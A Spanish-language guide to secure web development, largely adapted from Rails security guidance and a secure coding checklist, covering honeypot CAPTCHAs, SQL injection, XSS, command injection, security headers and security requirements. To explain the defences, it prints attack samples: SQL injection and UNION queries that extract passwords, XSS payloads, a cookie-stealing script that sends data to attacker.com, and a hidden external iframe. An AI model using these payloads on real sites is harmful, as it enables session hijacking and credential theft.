Este es el CAPTCHA positivo, pero también está el CAPTCHA negativo. La idea de un CAPTCHA negativo no es que el usuario demuestre que es humano, sino que revela que un robot es un robot.

El problema con CAPTCHAs es que tienen un impacto negativo en la experiencia del usuario. Además, algunos usuarios con deficiencias visuales han descubierto que ciertos tipos de CAPTCHA distorsionados son difíciles de leer. Aun así, los CAPTCHA positivos son uno de los mejores métodos para evitar que todo tipo de bots envíen formularios.

La mayoría de los bots son realmente tontos. Se arrastran por la web y ponen su correo no deseado en el campo de cada formulario que pueden encontrar. Los CAPTCHA negativos aprovechan eso e incluyen un campo "honeypot" en el formulario que se ocultará al usuario humano mediante CSS o JavaScript.

Tenga en cuenta que los CAPTCHA negativos solo son efectivos contra robots "tontos" y no serán suficientes para proteger las aplicaciones críticas de los robots seleccionados. Aun así, los CAPTCHA negativos y positivos se pueden combinar para aumentar el rendimiento, por ejemplo, si el campo "honeypot" no está vacío (se detectó bot), no será necesario verificar el CAPTCHA positivo.

Estas son algunas ideas sobre cómo ocultar los campos de honeypot mediante JavaScript y / o CSS:

· posicionar los campos fuera del área visible de la página

· hacer los elementos muy pequeños o colorearlos de la misma manera que el fondo de la página

· deja los campos mostrados, pero dile a los humanos que los dejen en blanco

El CAPTCHA negativo más simple es un campo oculto de honeypot. En el lado del servidor, verificará el valor del campo: si contiene algún texto, debe ser un bot. Luego, puede ignorar la publicación o devolver un resultado positivo, pero no guardando la publicación en la base de datos. De esta forma, el bot estará satisfecho y seguirá adelante. También puedes hacer esto con usuarios molestos.

Incluya un campo con la marca de tiempo UTC actual y verifíquelo en el servidor. Si está demasiado lejos en el pasado o si está en el futuro, el formulario no es válido.

Vuelva aleatorios los nombres de campo (field names)

Incluye más de un campo de honeypot de todos los tipos, incluidos los botones de envío.

Tenga en cuenta que esto lo protege solo de los bots automáticos, los bots personalizados a medida no pueden ser detenidos por esto. Por lo tanto, los CAPTCHA negativos pueden no ser buenos para proteger los formularios de inicio de sesión.

V. Registro

De forma predeterminada, Rails registra todas las solicitudes que se realizan a la aplicación web. Pero los archivos de registro pueden ser un gran problema de seguridad, ya que pueden contener credenciales de inicio de sesión, números de tarjetas de crédito, etc. Al diseñar un concepto de seguridad de aplicaciones web, también debe pensar qué sucederá si un atacante tiene acceso (completo) al servidor web. Cifrar secretos y contraseñas en la base de datos será bastante inútil si los archivos de registro los incluyen en texto claro. Puede filtrar ciertos parámetros de solicitud de sus archivos de registro agregándolos a config.filter_parameters en la configuración de la aplicación. Estos parámetros se marcarán [FILTERED] en el registro.

config.filter_parameters << :password

VI. Escalado de privilegios

El parámetro más común que un usuario puede alterar, es el parámetro id, como en http://www.domain.com/project/1, mientras que 1 es el id. Estará disponible en params en el controlador. Ahí, lo más probable es que hagas algo como esto:

@project = Project.find(params[:id])

Esto está bien para algunas aplicaciones web, pero ciertamente no si el usuario no está autorizado para ver todos los proyectos. Si el usuario cambia el id a 42, y no se le permite ver esa información, tendrá acceso a ella de todos modos. En su lugar, consulte los derechos de acceso del usuario también:

@project = @current_user.projects.find(params[:id])

Habrá muchos más parámetros que el usuario puede manipular. Como regla general, los datos de entrada del usuario no son seguros, hasta que se demuestre lo contrario, y cada parámetro del usuario puede ser manipulado.

La seguridad por ofuscación y seguridad de JavaScript no son la mejor opción. Las herramientas de desarrollo le permiten revisar y cambiar los campos ocultos de todos los formularios. JavaScript se puede utilizar para validar los datos de entrada del usuario, pero no para evitar que los atacantes envíen solicitudes maliciosas con valores inesperados. El complemento Firebug para Mozilla Firefox registra todas las solicitudes y puede repetirlas y cambiarlas. Esa es una manera fácil de evitar cualquier validación de JavaScript. E incluso hay proxies el lado del cliente que le permiten interceptar cualquier solicitud y respuesta desde y hacia Internet.

P. INYECCIÓN

Inyección es una clase de ataques que introduce código o parámetros maliciosos en una aplicación web para ejecutarla dentro de su contexto de seguridad. Ejemplos destacados de inyección son cross-site scripting (XSS) e inyección SQL.

I. Listas blancas vs listas negras

Una lista negra puede ser una lista de malas direcciones de correo electrónico, ac-

ciones no públicas o malas etiquetas HTML. Esto es lo opuesto a una lista blanca que enumera las buenas direcciones de correo electrónico, acciones públicas, buenas etiquetas HTML, etc. Aunque a veces no es posible crear una lista blanca (en un filtro SPAM, por ejemplo), debe preferirse utilizar el enfoque de listas blancas:

• Use before_action except: [...] en lugar de solo: [...] para acciones relacionadas con la seguridad. De esta forma, no olvide habilitar las comprobaciones de seguridad para las acciones recién agregadas.
• Permita en lugar de eliminar <script> contra Cross-Site Scripting (XSS). Ver abajo para más detalles.
• No intente corregir la entrada del usuario por listas negras:
    o Esto hará que el ataque funcione: "<sc<script>ript>".gsub("<script>", "")
    o En lugar de eso, rechace la entrada malformada

Las listas blancas también son un buen enfoque contra el factor humano de olvidar algo en la lista negra.

II. Inyección SQL

Gracias a los métodos inteligentes, esto no es un problema en la mayoría de las aplicaciones de Rails. Sin embargo, este es un ataque muy devastador y común en las aplicaciones web, por lo que es importante entender el problema.

Los ataques de inyección SQL tienen como objetivo influir en las consultas de la base de datos al manipular los parámetros de la aplicación web. Un objetivo popular de los ataques de inyección SQL es eludir la autorización. Otro objetivo es llevar a cabo la manipulación de datos o leer datos arbitrarios. Aquí hay un ejemplo de cómo no utilizar los datos de entrada del usuario en una consulta:

Project.where("name = '#{params[:name]}'")

Esto podría estar en una acción de búsqueda y el usuario puede ingresar el nombre de un proyecto que quiera encontrar. Si un usuario malicioso ingresa 'OR 1 --, la consulta SQL resultante será:

SELECT * FROM projects WHERE name = '' OR 1 --'

Los dos guiones inician un comentario ignorando todo después de eso. Por lo tanto, la consulta devuelve todos los registros de la tabla de proyectos, incluidos los que

III. Autorización de anulación

Por lo general, una aplicación web incluye control de acceso. El usuario ingresa sus credenciales de inicio de sesión y la aplicación web trata de encontrar el registro coincidente en la tabla de usuarios. La aplicación otorga acceso cuando encuentra un registro. Sin embargo, un atacante posiblemente puede omitir esta comprobación con inyección de SQL. A continuación, se muestra una consulta de base de datos típica en Rails para buscar el primer registro en la tabla de usuarios que coincida con los parámetros de las credenciales de inicio de sesión proporcionadas por el usuario.

User.find_by(“login = ‘#{params[:name]}’ AND password = ‘#{params[:password]}’”)

Si un atacante ingresa ‘OR’ 1 ‘=’ 1 como el nombre, y ‘OR’ 2 ‘>’ 1 como la contraseña, la consulta SQL resultante será:

SELECT * FROM users WHERE login = ‘’ OR ‘1’=’1’ AND password = ‘’ OR ‘2’>’1’ LIMIT 1

Esto simplemente encontrará el primer registro en la base de datos y otorgará acceso a este usuario.

IV. Lectura no autorizada

La instrucción UNION conecta dos consultas SQL y devuelve los datos en un conjunto. Un atacante puede usarlo para leer datos arbitrarios de la base de datos. Tomemos el ejemplo de arriba:

Project.where(“name = ‘#{params[:name]}’”)
Y ahora, inyectemos otra consulta con la instrucción UNION:
‘) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
Esto dará como resultado la siguiente consulta SQL:
SELECT * FROM projects WHERE (name = ‘’) UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --’

El resultado no será una lista de proyectos (porque no hay ningún proyecto con un nombre vacío), sino una lista de nombres de usuario y su contraseña. El único problema para el atacante es que el número de columnas debe ser el mismo en ambas consultas. Es por eso que la segunda consulta incluye una lista de unos (1), que siempre será el valor 1, para coincidir con el número de columnas en la primera consulta.

Además, la segunda consulta cambia el nombre de algunas columnas con la declaración AS para que la aplicación web muestre los valores de la tabla de usuarios. Asegúrese de actualizar sus Rails.

V. Contramedidas

Ruby on Rails tiene un filtro integrado para caracteres especiales de SQL, que escapará a los caracteres ‘,”, NULL y saltos de línea Usando Model.find(id) o Model. find_by_some thing (something) automáticamente aplica esta contramedida, pero en fragmentos de SQL, especialmente en fragmentos
condicionales (where(“...”)), métodos connection.execute() o Model.find_by_sql(), tiene que ser aplicado manualmente.

En lugar de pasar una cadena a la opción condicional, puede pasar un arreglo para desinfectar cadenas corruptas como esta:

Model.where(“login = ? AND password = ?”, entered_user_name, entered_password). first

Como puede ver, la primera parte del arreglo es un fragmento de SQL con signos de interrogación. Las versiones desinfectadas de las variables en la segunda parte del arreglo reemplazan los signos de interrogación. O puede pasar un hash por el mismo resultado:

Model.where(login: entered_user_name, password: entered_password).first

El arreglo o formulario hash solo está disponible en instancias modelo. Puedes probar sanitize_sql() en otro lugar. Acostúmbrese a pensar en las consecuencias de seguridad al usar una cadena externa en SQL.

VI. Cross-Site Scripting (XSS)

La vulnerabilidad de seguridad más extendida y una de las más devastadoras en aplicaciones web es XSS. Este ataque malicioso inyecta código ejecutable del lado del cliente. Rails proporciona métodos de ayuda para evitar estos ataques.

VII. Puntos de entrada

Un punto de entrada es una URL vulnerable y sus parámetros donde un atacante puede iniciar un ataque. Los puntos de entrada más comunes son las publicaciones de mensajes, los comentarios de los usuarios y los libros de visitas, pero los títulos de los proyectos, los nombres de los documentos y las páginas de resultados de búsqueda también han sido vulnerables, prácticamente en cualquier lugar donde el usuario puede ingresar datos. Pero la entrada no necesariamente tiene que provenir de cuadros de entrada en sitios web, puede estar en cualquier parámetro de URL: obviamente, oculto o interno. Recuerde que el usuario puede interceptar cualquier tráfico. Las aplicaciones o los proxies del lado del cliente facilitan el cambio de las solicitudes. También hay otros vectores de ataque, como anuncios publicitarios.

Los ataques XSS funcionan de la siguiente manera: un atacante inyecta un código, la aplicación web lo guarda y lo muestra en una página, que luego se le presenta a la víctima. La mayoría de los ejemplos de XSS simplemente muestran un cuadro de alerta, pero es más poderoso que eso. XSS puede robar la cookie, secuestrar la sesión, redirigir a la víctima a un sitio web falso, mostrar anuncios para beneficio del atacante, cambiar elementos en el sitio web para obtener información confidencial o instalar software malicioso a través de agujeros de seguridad en el navegador web.

VIII. Inyección HTML / JavaScript

El lenguaje XSS más común es, por supuesto, el lenguaje JavaScript de lenguaje de scripting más popular, a menudo en combinación con HTML. Escapar la entrada del usuario es esencial.

Aquí está la prueba más directa para verificar XSS:

<script>alert('Hello');</script>

Este código JavaScript simplemente mostrará un cuadro de alerta. Los siguientes ejemplos hacen exactamente lo mismo, solo que en lugares muy poco comunes:

<img src=javascript:alert('Hello')>

<table background="javascript:alert('Hello')">

IX. Robo de cookies

Estos ejemplos no causan ningún daño hasta ahora, así que veamos cómo un atacante puede robar la cookie del usuario (y así secuestrar la sesión del usuario). En JavaScript puede usar la propiedad document.cookie para leer y escribir las cookies del documento. JavaScript aplica la misma política de origen, lo que significa que un script de un dominio no puede acceder a las cookies de otro dominio. La propiedad document.cookie contiene la cookie del servidor web de origen. Sin embargo, puede leer y escribir esta propiedad si inserta el código directamente en el documento HTML (como ocurre con XSS). Inyecte esto en cualquier lugar de su aplicación web para ver su propia cookie en la página de resultados:

<script>document.write(document.cookie);</script>

Para un atacante, por supuesto, esto no es útil, ya que la víctima verá su propia cookie. El siguiente ejemplo intentará cargar una imagen desde la URL http://www.attacker.com/ más la cookie. Por supuesto, esta URL no existe, por lo que el navegador no muestra nada. Pero el atacante puede revisar los archivos de registro de acceso de su servidor web para ver las cookies de la víctima.

<script>document.write('<img src = "http://www.attacker.com/' + document.cookie + '">'); </script>

Los archivos de registro en www.attacker.com se leerán así:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Puede mitigar estos ataques (de la manera obvia) agregando el indicador httpOnly a las cookies, para que document.cookie no pueda ser leído por JavaScript. Sin embargo, ten en cuenta que las cookies seguirán siendo visibles con Ajax.

X. Defacement

Con la desfiguración de la página web, un atacante puede hacer muchas cosas, por ejemplo, presentar información falsa o atraer a la víctima en el sitio web de los atacantes para robar la cookie, las credenciales de inicio de sesión u otros datos confidenciales. La forma más popular es incluir código de fuentes externas por iframes:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

Esto carga HTML y / o JavaScript arbitrario de una fuente externa y lo incorpora como parte del sitio.

Un ataque más especializado podría superponerse a todo el sitio web o mostrar un formulario de inicio de sesión, que tiene el mismo aspecto que el original del sitio, pero transmite el nombre de usuario y la contraseña al sitio del atacante. O podría usar CSS y / o JavaScript para ocultar un enlace legítimo en la aplicación web, y mostrar otro en su lugar que redirecciona a un sitio web falso.

Los ataques de inyección reflejada son aquellos en los que el payload no se almacena para presentarla a la víctima más adelante, sino que se incluye en la URL. Especialmente los formularios de búsqueda no pueden escapar de la cadena de búsqueda.

XI. Inyección CSS

CSS Injection es en realidad inyección de JavaScript, porque algunos navegadores (IE, algunas versiones de Safari y otros) permiten JavaScript en CSS. Piénselo dos veces antes de permitir CSS personalizados en su aplicación web.

CSS Injection se explica mejor por el conocido “MySpace Samy worm”. Este gusano envió automáticamente una solicitud de amistad a Samy (el atacante) simplemente visitando su perfil. En unas horas, tuvo más de 1 millón de solicitudes de amistad, lo que creó tanto tráfico que MySpace se desconectó. La siguiente es una explicación técnica de ese gusano.

MySpace bloqueó muchas etiquetas, pero permitió CSS. Entonces el autor del gusano puso JavaScript en CSS así:

Entonces, el payload está en el atributo de estilo. Pero no hay citas permitidas en payload, porque las comillas simples y dobles ya se han utilizado. Pero JavaScript tiene una práctica función eval () que ejecuta cualquier cadena como código.

La función eval () es una pesadilla para los filtros de entrada de la lista negra, ya que permite que el atributo de estilo oculte la palabra “innerHTML”:

alert(eval(‘document.body.inne’ + ‘rHTML’));

El siguiente problema fue de MySpace filtrando la palabra “javascript”, por lo que el autor utilizó “java <NEWLINE>script” para evitar esto:

<div id=”mycode” expr=”alert(‘hola!’)” style= “background:url(‘java script:eval(document.all.mycode.expr)’)”>

XII. contramedidas

Este ejemplo, muestra una vez más que un filtro de lista negra nunca estará

completo. Sin embargo, como el CSS personalizado en las aplicaciones web es una característica bastante rara, puede ser difícil encontrar un buen filtro CSS en la lista blanca. Si desea permitir colores o imágenes personalizados, puede permitir que el usuario los elija y cree el CSS en la aplicación web. Utilice el método sanitize() de Rails como modelo para un filtro CSS de lista blanca, si realmente necesita uno.

XIII. Inyección de línea de comando

Si su aplicación tiene que ejecutar comandos en el sistema operativo, existen varios métodos en Ruby: exec (comando), syscall (comando), system (comando) y command. Deberá tener especial cuidado con estas funciones si el usuario puede ingresar todo el comando, o una parte de él. Esto se debe a que, en la mayoría de las shells, puede ejecutar otro comando al final del primero, concatenándolos con un punto y coma (;) o una barra vertical (|)

Una contramedida es usar el método system(command, parameters) que pasa los parámetros de línea de comandos de forma segura.

```
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
```

XIV. Encabezados predeterminados

Cada respuesta HTTP de su aplicación Rails recibe los siguientes encabezados de seguridad predeterminados.

```
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}
```

Puede configurar encabezados por defecto en config/application.rb.

```
config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}
```

O puedes eliminarlos.

```
config.action_dispatch.default_headers.clear
```

• **X-Frame-Options:**
'SAMEORIGIN' en Rails de forma predeterminada: permite el encuadre en el mismo dominio. Establézcalo en 'DENY' para denegar el encuadre o 'ALLOWALL' si desea permitir el encuadre para todo el sitio web.

• **X-XSS-Protection:** '1; mode = block ' en Rails de forma predeterminada : use el

auditor XSS y bloquee la página si se detecta un ataque XSS. Establézcalo en '0;' si desea desactivar el Auditor XSS (es útil si los scripts de contenido de respuesta provienen de los parámetros de solicitud).

• **X-Content-Type-Options:** 'nosniff' en Rails de forma predeterminada evita que el navegador adivine el tipo MIME de un archivo.

• **X-Content-Security-Policy:** un poderoso mecanismo para controlar de qué sitios se pueden cargar ciertos tipos de contenido.

• **Access-Control-Allow-Origin:** se usa para controlar los sitios que pueden omitir las mismas políticas de origen y enviar solicitudes de origen cruzado.

• **Strict-Transport-Security:** se usa para controlar si el navegador solo tiene acceso a un sitio a través de una conexión segura

Q. FASE 2. Durante la definición y diseño

Los requisitos de seguridad definen como funciona una aplicación desde una perspectiva de la seguridad. Según [1] Es indispensable que los requisitos de seguridad sean probados. Probar, en este caso, hace referencia a comprobar los supuestos realizados en los requisitos, y comprobar si hay deficiencias en las definiciones de los requisitos

Para esto se han tenido en cuenta los siguientes mecanismos de seguridad

· Gestión de usuarios
· Autenticación
· Autorización
· Confidencialidad de los datos
· Integridad
· Contabilidad
· Gestión de sesiones
· Seguridad de Transporte
· Segregación de Sistemas en Niveles
· Privacidad

R. Ejemplo de historias de usuario y requisitos de seguridad relacionados

A continuación, se indican requisitos de seguridad relacionados con las historias de usuario definidas para administración de una plataforma supuesta:

Historia de usuario	Requisitos de seguridad relacionado	Notas
Como Administrador quiero ingresar a la plataforma para poder hacer uso de ella.	Cuando un administrador ingresa a la plataforma se le debe mostrar la fecha y hora del último ingreso junto con la dirección IP desde donde se tuvo acceso. - El sistema debe funcionar sobre protocolo SSL/TLS Utilizar autenticación multi-factor para la cuenta de Administrador	
Como Administrador deseo restablecer y recuperar mi contraseña para ingresar a la plataforma	- Para reestablecer la contraseña a través de correo electrónico, el Administrador debe responder primero tres preguntas de seguridad. - El administrador debe poder cambiar las preguntas de seguridad usando la contraseña y correo. Las preguntas de seguridad para restablecer contraseña deben contemplar un amplio rango de respuestas aleatorias	Cuando el usuario responde correctamente las preguntas de seguridad No se debe poder recuperar la contraseña, solamente cambiarla a través de un enlace recibido en el correo electrónico previamente registrado. El enlace debe expirar luego de 1 hora de ser recibido y debe ser
	Las contraseñas deben ser alfanuméricas, con letras minúsculas y mayúsculas con una longitud mínima de 10 caracteres. - Las contraseñas deben tener al menos un día de antigüedad antes de poder ser cambiadas	diferente para cada petición de este tipo. A modo de ejemplo: "¿Cuál es tu libro favorito?" es una mala pregunta dado que "la biblia" es una respuesta común
Como Administrador quiero contar con un panel en donde pueda visualizar y controlar todos los componentes y entidades de la plataforma para gestionarlos y mantener integro el sistema	- El sistema debe conservar registro de actividades realizadas por el administrador durante la sesión	El archivo de registro tendrá propiedades de solo lectura.
Como Administrador quiero registrar más administradores en la plataforma en caso de ser necesario para permitirles el acceso a esta.	- Cambiar todos los usuarios y contraseñas por defecto - Re autenticar al usuario Administrador antes de poder registrar un nuevo Administrador.	Considerar que los usuarios Administradores no pueden eliminar la cuenta de Administrador Padre
Como Administrador quiero gestionar los diferentes documentos que debe adjuntar el proveedor para completar su registro.	El sistema debe incluir un mecanismo de cifrado de los documentos que se transportan entre los diferentes componentes tecnológicos y los datos sensibles de la base de datos que se clasifiquen como confidenciales.	

Tabla 1. Historias de usuario y requisitos de seguridad relacionados

S. FASE 3. Durante el desarrollo

El objetivo de la seguridad en las aplicaciones es el de mantener la confidencialidad, integridad y disponibilidad de los recursos de información de modo de permitir el desarrollo exitoso de negocios. Este objetivo se consigue con la implementación de controles de seguridad que pueden complementarse con la guía de buenas prácticas de ISO 27002[5]. La presente sección pone foco en los controles técnicos específicos para mitigar la presencia de vulnerabilidades de ocurrencia frecuentes en el software. Si bien el foco principal está en las aplicaciones web y la infraestructura que las soporta, la mayoría de los consejos puede aplicarse en cualquier plataforma de desarrollo de software.[6]

I. Lista de Verificación de Prácticas de Codificación Segura. [6]

Validación de entradas

- Realizar todas las validaciones de datos en un sistema confiable (por ejemplo: el servidor).
- Identificar todas las fuentes de datos y clasificarlos como confiables o no confiables. Validar todos los datos provenientes de fuentes no confiables (por ejemplo: bases de datos, secuencias de archivo, etc.).

- Debería existir una rutina de validación de datos de entrada centralizada para la aplicación.
- Especificar sets de caracteres apropiados, tales como UTF-8, para todas las fuentes de entrada.
- Codificar los datos a un set de caracteres común antes de validar (Canonicalización).
- Todas las fallas en la validación deber terminar en el rechazo del dato de entrada.
- Determinar si el sistema soportará sets de caracteres UTF-8 extendidos y de ser así, validarlos luego de terminada la decodificación del UTF-8.
- Validar todos los datos brindados por el cliente antes de procesarlos, incluyendo todos los parámetros, URLs y contenidos de cabeceras HTTP (por ejemplo, nombres de Cookies y valores). Asegurarse de incluir post backs automáticos desde JavaScript, Flash u otro código embebido.
- Verificar que los valores de la cabecera tanto en solicitudes como en respuestas contengan solo caracteres ASCII.
- Validar datos redireccionados (un atacante puede enviar contenido malicioso directamente en el destino de la redirección, eludiendo entonces la lógica de la aplicación y cualquier otra validación realizada antes de la redirección).
- Validar tipos de datos no esperados.
- Validar rangos de datos.
- Validar largos de datos.
- Validar toda entrada con una lista “blanca” que contenga una lista de caracteres aceptados, siempre que sea posible.
- Si es necesario, permitir el ingreso de algún carácter considerado peligroso, asegúrese de implementar controles adicionales tales como la codificación de la salida, API de seguridad y el registro del uso de tales datos a lo largo de la aplicación. Entre los ejemplos de caracteres peligrosos podemos encontrar: < > ” ’ % ( ) & + \ / \’ \”.

- Si su rutina estándar de validación no contempla el ingreso de los ejemplos de datos anteriormente ejemplificados, entonces deberán verificarse de forma puntual.
- Compruebe si hay bytes nulos (%00).
- Compruebe si hay caracteres de nueva línea (%0d, %0a, \r, \n).
- Compruebe si hay caracteres de alteraciones de ruta "punto, punto, barra (../ o ..\). En los casos en que se soportan sets de caracteres UTF-8 extendidos, implemente representaciones alternativas tales como: %c0%ae%c0%ae/ (utilice la canonicalización como forma de implementar la doble codificación u otras formas de ofuscación de ataques).

2. Codificación de salidas

- Realice toda la codificación en un ambiente seguro (por ejemplo: el servidor).
- Utilice una rutina probada y estándar para cada tipo de codificación de salida.
- Contextualice la codificación de salida de todos los datos devueltos por el cliente que se originen desde fuera de la frontera de confianza de la aplicación. La codificación de entidades HTML es un ejemplo, aunque no sea suficiente en todos los casos.
- Codifique todos los caracteres salvo que sean reconocidos como seguros por el interpretador al que están destinados.
- Sanitice contextualmente todas las salidas de datos no confiables hacia consultas SQL, XML y LDAP.
- Sanitice todas las salidas de datos no confiables hacia un comando del sistema operativo.

3. Administración de autenticación y contraseñas

- Requerir autenticación para todos los recursos y páginas excepto aquellas específicamente clasificadas como públicas.
- Todos los controles de autenticación deben ser efectuados en un sistema en el cual se confíe. (por ejemplo: el servidor).
- Establecer y utilizar servicios de autenticación estándares y probados cuando sea posible.
- Utilizar una implementación centralizada para todos los controles de autenticación, incluyendo librerías que llamen a servicios externos de autenticación.
- Segregar la lógica de la autenticación del recurso solicitado y utilizar redirección desde y hacia el control centralizado de autenticación.
- Todos los controles de autenticación deben fallar de una forma segura.
- Todas las funciones administrativas y de administración de cuentas deben ser al menos tan seguras como el mecanismo primario de autenticación.
- Si la aplicación administra un almacenamiento de credenciales, se debe asegurar que únicamente se almacena el hash con sal (salty hash) de las contraseñas y que el archivo/tabla que guarda las contraseñas y claves solo puede ser escrito por la aplicación (si es posible, no utilizar el algoritmo de hash MD5).
- El hash de las contraseñas debe ser implementado en un sistema en el cual se confíe. (por ejemplo: el servidor).
- Validar los datos de autenticación únicamente luego haber completado todos los datos de entrada, especialmente en implementaciones de autenticación secuencial.
- Las respuestas a los fallos en la autenticación no deben indicar cual parte de la autenticación fue incorrecta. A modo de ejemplo, en lugar de "usuario invalido" o "contraseña invalida", utilizar "usuario y/o contraseña inválidos" en ambos casos. Las

repuestas a los errores deben ser idénticas tanto a nivel de lo desplegado como a nivel de código fuente.
- Utilizar autenticación para conexiones a sistemas externos que involucren información o funciones sensibles.
- Las credenciales de autenticación para acceder a servicios externos a la aplicación deben ser encriptados y almacenados en ubicaciones protegidas en un sistema en el cual se confíe (ejemplo: el servidor). El código fuente NO es una ubicación segura.
- Utilizar únicamente pedidos del tipo HTTP POST para la transmisión de credenciales de autenticación.
- Utilizar únicamente conexiones encriptadas o datos encriptados para el envío de contraseñas que no sean temporales (por ejemplo: correo encriptado). Contraseñas temporales como aquellas asociadas con reseteos por correo electrónico, pueden ser una excepción.
- Hacer cumplir por medio de una política o regulación los requerimientos de complejidad de la contraseña. Las credenciales de autenticación deben ser suficientes como para resistir aquellos ataques típicos de las amenazas en el entorno del sistema. Ej: obligar el uso de combinaciones de caracteres numéricos/ alfanuméricos y/o caracteres especiales.
- Hacer cumplir por medio de una política o regulación los requerimientos de longitud de la contraseña. Comúnmente se utilizan ocho caracteres, pero dieciséis es mejor, adicionalmente considerar el uso de frases de varias palabras.
- No se debe desplegar en la pantalla la contraseña ingresada. A modo de ejemplo, en formularios web, utilizar el tipo de entrada “password” (input type “password”).
- Deshabilitar las cuentas luego de un número establecido de intentos inválidos de ingreso al sistema. A modo de ejemplo, cinco intentos fallidos es lo común. La deshabilitación de la cuenta debe ser por un periodo de tiempo suficiente como para desalentar una inferencia de credenciales por fuerza bruta, pero no tan alto como para permitir un ataque de negación de servicio.
- El cambio y reseteo de contraseñas requieren los mismos niveles de control como aquellos asociados a la creación y autenticación de cuentas.
- Las preguntas para el reseteo de contraseñas deben contemplar un amplio rango de respuestas aleatorias. A modo de ejemplo: “libro favorito?” es una mala pregunta dado que “la biblia” es una respuesta muy común.
- Si se utiliza un reseteo por correo electrónico, únicamente enviar un link o contraseñas temporales a casillas previamente registradas en el sistema.
- Las contraseñas y links temporales deben tener un corto periodo de validez.
- Forzar el cambio de contraseñas temporales luego de su utilización.
- Notificar a los usuarios cada vez que se produce un reseteo de contraseña.
- Prevenir la reutilización de contraseñas.
- Las contraseñas deben tener al menos un día de antigüedad antes de poder ser cambiadas, de forma de evitar ataques de reutilización de contraseñas.
- Hacer cumplir por medio de una política o regulación los requerimientos de cambio de contraseña. Los sistemas críticos pueden requerir cambios más frecuentes que otros sistemas. El tiempo entre cada reseteo debe ser controlado administrativamente.
- Deshabilitar la funcionalidad de “recordar” campos de contraseñas.
- El último acceso (fallido o exitoso) debe ser reportado al usuario en su siguiente acceso exitoso.
- Implementar un monitoreo para identificar ataques a múltiples cuentas utilizando la misma contraseña. Este patrón de ataque es utilizado parar superar bloqueos

estándar cuando los nombres de usuario pueden ser obtenidos o adivinados de alguna forma.
- Cambiar todos los usuarios y contraseñas por defecto o deshabilitar las cuentas asociadas.
- Re autenticar usuarios antes de la realización de operaciones críticas.
- Utilizar autenticación multi-factor para las cuentas más sensibles o de mayor valor.
- Si se utiliza un código de una tercera parte para la autenticación, inspeccionarlo minuciosamente para asegurar que no se encuentre afectado por cualquier código malicioso.

T. FASE 4. Durante la implementación

Tras haber comprobado los requisitos, analizado el diseño y realizado la revisión de código, debería asumirse que se han identificado todas las incidencias. Con suerte, ese será el caso, pero las pruebas de intrusión en la aplicación después de que haya sido sido implementada nos proporciona una última comprobación para asegurarnos de que no se nos ha olvidado nada.

La prueba de intrusión de la aplicación debería incluir la comprobación de cómo se implementó y aseguró su infraestructura. Aunque la aplicación puede ser segura, un pequeño detalle de la configuración podría estar en una etapa de instalación predeterminada, y ser vulnerable a explotación.

VIII. Glosario

Agente de Amenaza: Cualquier entidad que puede poseer un impacto negativo en el sistema. Puede ser desde un usuario malicioso que desea comprometer los controles de seguridad del sistema; sin embargo, también puede referirse al mal uso accidental del sistema o a una amenaza física como fuego o inundación.

Autenticación: Conjunto de Controles utilizados para verificar la identidad de un usuario o entidad que interactúa con el software

Autenticación Multi-Factor: Proceso de autenticación que le requiere al usuario producir múltiples y distintos tipos de credenciales. Típicamente son basados en algo que el usuario tiene (por ejemplo: una tarjeta inteligente), algo que conoce (por ejemplo: un pin), o algo que es (por ejemplo: datos provenientes de un lector biométrico).

Autenticación secuencial: Cuando los datos de autenticación son solicitados en páginas sucesivas e vez de ser solicitados todos de una sola vez en una única página.

Canonicalizar: Convertir distintas codificaciones y representaciones de datos a una forma estándar predefinida.

Caracteres considerados peligrosos: Cualquier carácter o representación codificada de un carácter que puede afectar la operación intencionada de la aplicación o sistema asociado por ser interpretado de una manera especial, fuera del uso intencionado del carácter. Estos caracteres pueden ser utilizados para:

· Alterar la estructura de las sentencias o código existente
· Insertar código inintencionado
· Alterar caminos
· Causar salidas inesperadas de rutinas o funciones
· Causar condiciones de error
· Obtener cualquiera de los efectos anteriores sobre el flujo de aplicaciones o sistemas

Caso de Abuso: Especificación de un tipo de interacción completa entre un sistema y uno o más actores, donde los resultados de la interacción son perjudiciales para el sistema, uno de los actores o uno de los interesados en el sistema

Codificación de Entidades HTML: Proceso por el cual se reemplazan ciertos caracteres ASCII por sus entidades equivalentes en HTML. Por ejemplo: este proceso reemplazaría el carácter de menor "<" con su equivalente en HTML "<". Las entidades HTML son 'inertes' en la mayoría de los intérpretes, especialmente en los navegadores, pudiendo mitigar ciertos tipos de ataque en los clientes.

Codificación de Salida: Conjunto de controles que apuntan al uso de una codificación para asegurar que los datos producidos por la aplicación son seguros.

Codificación de Salida Contextualizada: Basar la codificación de salida en el uso que le dará la aplicación. El método específico varía dependiendo en la forma que será utilizado.

Confidencialidad: Propiedad de la información por la que se garantiza que está accesible únicamente a entidades autorizadas.

Configuración del sistema: Conjunto de controles que ayuda a asegurar que los componentes de infraestructura que brindan soporte al software fueron desplegados de manera segura.

Consultas parametrizadas (prepared statements): Mantiene la consulta y los datos separados a través del uso de marcadores. La estructura de la consulta es definida utilizando marcadores, la consulta SQL es enviada a la base de datos y preparada, para luego ser combinada con los valores de los parámetros. Esto previene a las consultas de ser alteradas debido a que los valores de los parámetros son combinados con la consulta compilada y con el string de SQL.

Control de Acceso: Un conjunto de controles que permiten o niegan el acceso a un recurso de un usuario o entidad dado.

Control de seguridad: Acción que mitiga una vulnerabilidad potencial y ayuda a asegurar que el software se comporta únicamente de la forma esperada.

Datos de estado: Cuando datos o parámetros son utilizados, ya sea por la aplicación o el servidor, emulando una conexión persiste o realizando el seguimiento del estado de un cliente a través de un proceso multi-pedido o transacción.

Datos del registro de log: Debe incluir lo siguiente:

· Time stamp obtenida de un componente confiable del sistema
· Nivel de severidad para cada evento
· Marcado de eventos relevantes a la seguridad, si se encuentran mezclados con otras entradas de la bitácora
· Identidad de la cuenta/usuario que ha causado el evento
· Dirección IP del origen asociado con el pedido
· Resultado del evento (suceso o falla)
· Descripción del evento

